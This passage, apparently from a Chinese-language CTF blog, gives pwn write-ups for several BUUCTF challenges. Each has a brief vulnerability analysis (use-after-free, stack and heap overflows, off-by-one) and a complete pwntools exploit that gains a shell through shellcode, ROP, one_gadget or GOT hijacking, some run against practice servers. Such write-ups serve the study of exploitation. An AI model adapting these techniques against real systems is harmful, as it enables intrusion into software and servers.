payload+=p64(pop_rdi)+p64(binsh)+p64(system)
r.sendlineafter('>>','1')
r.sendline(payload)
r.sendlineafter('>>','3')

r.interactive()

ciscn_2019_n_3

uaf,堆块复用,函数指针劫持

通过数据区和堆元区的堆块复用,将free(ptr),改为system("sh")

from pwn import *
context.log_level = 'debug'
# p = process("./ciscn_2019_n_3")
p = remote("node4.buuoj.cn", 28071)

def add(index, size, content):
    p.recvuntil("CNote > ")
    p.sendline("1")
    p.recvuntil("Index > ")
    p.sendline(str(index))
    p.recvuntil("Type > ")
    p.sendline("2")
    p.recvuntil("Length > ")
    p.sendline(str(size))
    p.recvuntil("Value > ")
    p.sendline(content)
    
def delete(index):
    p.recvuntil("CNote > ")
    p.sendline("2")
    p.recvuntil("Index > ")
    p.sendline(str(index))
    
def show(index):
    p.recvuntil("CNote > ")
    p.sendline("3")
    p.recvuntil("Index > ")
    p.sendline(str(index))
    
add(0, 20, b"a")
add(1, 20, b"b")

delete(0)
delete(1)

system_plt = 0x8048500
payload = b"sh\x00\x00" + p32(system_plt)
add(2, 12, payload)

delete(0)

p.interactive()

pwnable_start

read栈溢出,ret2shellcode

题目很精简

image-20230712152709873

开头第一个push压了个栈上的地址,第二个push压了返回地址,sys_read这里造成栈溢出,可以覆盖返回地址

一开始想的是ret2syscall,通过多次rop打orw或者execve,但只有这一处ret gadget,没法控制eax和ebx,然后一看程序居然没开nx,那打ret2shellcode就简单了

执行完一轮ret后,esp刚好指向第一个push压的那个栈上地址(esp+4),可以通过0x8048087这里的gadget将栈上地址给打出来

再向下执行read时,在返回地址处写入(esp+4+0x14),在第二次ret后即可将控制流打向返回地址下方的shellcode

注:shellcraft生成的shellcode太长用不了,自己写一段

from pwn import *

p = process("./start")
offset = 0x14
second_write = 0x08048087
payload = b"A" * offset + p32(second_write)
p.sendafter(":",payload)
stack_addr = u32(p.recv(4))
print("stack_addr ---> ",hex(stack_addr))
#shellcode= b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
shellcode = asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f;mov ebx,esp;mov al,0xb;int 0x80')

payload= b'a' * offset + p32(stack_addr + offset) + shellcode
p.send(payload)
p.interactive()

gyctf_2020_borrowstack

read栈溢出,栈劫持,ret2libc

read了两次,第一次read溢出16字节

image-20230712164912216

故考虑栈劫持,第一次read将栈劫持到bss,第二次在bss上布置rop

rop的栈布局:p_r->puts_got->puts_plt->main

返回main以后直接将返回地址覆盖为one_gadget

需要注意两点:

  • bss段上的bank变量上面就是got,返回main以后sub esp,将栈抬高会影响到got表这些数据,故劫持bss的地址越高越好,这里选择了bank+20*8的地址
  • system会抬高栈帧影响到got,故选择one_gadget
from pwn import *

r=remote('node4.buuoj.cn', 27892)

bank=0x0601080
leave=0x400699
puts_plt=0x04004E0
puts_got=0x0601018
pop_rdi=0x400703
main=0x0400626
ret=0x4004c9

r.recvuntil('u want')
payload=b'a'*0x60+p64(bank+20*8)+p64(leave)
r.send(payload)

r.recvuntil('now!')
payload=b'A'*8*21+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.send(payload)
r.recvline()
puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
print (hex(puts_addr))

libc_base=puts_addr-0x6f690

one_gadget=libc_base+0x4526a

#system=libc_base+libc.dump('system')
#binsh=libc_base+libc.dump('str_bin_sh')

#payload='a'*(0x60+8)+p64(pop_rdi)+p64(binsh)+p64(system)
payload=b'a'*(0x60+8)+p64(one_gadget)
r.send(payload)

r.interactive()

babyfengshui_33c3_2016

堆溢出,数据指针任意地址读写,got表劫持

分配了堆元区和数据区,数据区位于堆元区上方,程序只检查了同一组堆块的数据区是否在堆元区上方,但通过多次分配和释放(比如将数据区和堆元区释放后融合成一块,再申请作为数据区),可以在同一组数据区和堆元区之间插入其他组的堆块,通过数据区可以溢出修改其他组堆块的内容

堆元区中保存有数据指针,可对数据指针进行读写,一般这种情况我们优先考虑修改这个用户指针(不行才考虑unlink、fastbinattack之类),就可以任意地址读写了,泄露libc并篡改got,free("/bin/sh")

特别要注意,"/bin/sh\x00"必须一开始就写入堆块,因为fgets_got位于free_got下方

image-20230713110045325

在修改free_got 4字节后,输入函数会在末尾补\x00,也就是fgets_got的低位会被置0,此时再用fgets输入“/bin/sh\x00”,got会跳转到别的地方!

image-20230713104935655

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './babyfengshui'

debug = 1 
if debug:
    r = remote('node4.buuoj.cn', 25267)
else:
    r = process(file_name)

elf = ELF(file_name)

menu = 'Action: '

def add(malloc_size, name, write_size, content):
    r.sendlineafter(menu, '0')
    r.sendlineafter('size of description: ', str(malloc_size))
    r.sendlineafter('name: ', name)
    r.sendlineafter('text length: ', str(write_size))
    r.sendlineafter('text: ', content)

def delete(index):
    r.sendlineafter(menu, '1')
    r.sendlineafter('index: ', str(index))

def show(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter('index: ', str(index))

def edit(index, write_size, content):
    r.sendlineafter(menu, '3')
    r.sendlineafter('index: ', str(index))
    r.sendlineafter('text length: ', str(write_size))
    r.sendlineafter('text: ', content)

add(0x10, b"aaaa", 0x4, b"bbbb")
add(0x10, b"aaaa", 0x4, b"bbbb")
add(0x20, b"aaaa", 0x4, b"bbbb")
add(0x20, b"aaaa", 0x8, b"/bin/sh\x00")

delete(2)
delete(0)

free_got = 0x0804B010
payload = b"c"*0x10 + p32(0x18) + p32(0x89) + b"d"*0x80 + p32(0x88) + p32(0x18) + b"e"*0x10 + p32(0) + p32(0x89) + p32(free_got) 
add(0x10, b"aaaa", len(payload), payload)

show(1)
r.recvuntil("description: ")
free_addr = u32(r.recv(4))
print("free_addr ==> " + hex(free_addr))

libc_base = free_addr - 0x00070750
system_addr = libc_base + 0x0003a940
#libc_base = free_addr - 0x71530
#system_addr = libc_base + 0x3adb0 

edit(1, 4, p32(system_addr))

delete(3)

r.interactive()

hitcontraining_heapcreator

off by one,chunk extend overlap,数据指针任意地址读写,got表劫持

edit_heap里有一个off by one漏洞

image-20230713130528968

可以溢出覆盖下一个堆块的size字段,free后重新malloc,成功扩大可写范围,同下一个堆元区形成重叠

修改数据指针为free_got,先show后edit,可以泄露libc并修改地址为system,随后free("/bin/sh")

from pwn import *                                                                                                                                                                                                                                             [3/1950]

#p=process('./heapcreator')
p=remote('node4.buuoj.cn', 25014)
elf=ELF('./heapcreator')
context.log_level='debug'

def create(size,content):
     p.recvuntil(':')
     p.sendline('1')
     p.recvuntil('Heap : ')
     p.sendline(str(size))
     p.recvuntil('heap:')
     p.send(content)

def edit(idx,content):
    p.recvuntil('choice :')
    p.sendline('2')
    p.recvuntil(' :')
    p.sendline(str(idx))
    p.recvuntil('heap :')
    p.sendline(content)

def show(idx):
    p.recvuntil('choice :')
    p.sendline('3')
    p.recvuntil(' :')
    p.sendline(str(idx))

def delete(idx):
    p.recvuntil('choice :')
    p.sendline('4')
    p.recvuntil(' :')
    p.sendline(str(idx))
    
create(0x18, b"aaaa") #note0
create(0x20, b"bbbb") #note1
payload = p64(0) + p64(0x21) 
create(0x20, payload) #note2

payload = b"/bin/sh\x00" + b"c"*0x10 + b"\x81"
edit(0, payload)

delete(1)

free_got = 0x602018
payload = b"a"*0x40 + p64(0) + p64(0x21) + p64(0x20) + p64(free_got)
create(0x70, payload) #note1

show(2)
p.recvuntil("Content : ")
free_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("free_addr ==> " + hex(free_addr))

#libc_base = free_addr - 0x84540
#system_addr = libc_base + 0x453a0
libc_base = free_addr - 0x844f0
system_addr = libc_base + 0x45390 
payload = p64(system_addr)
edit(2, payload)

delete(0)

p.interactive()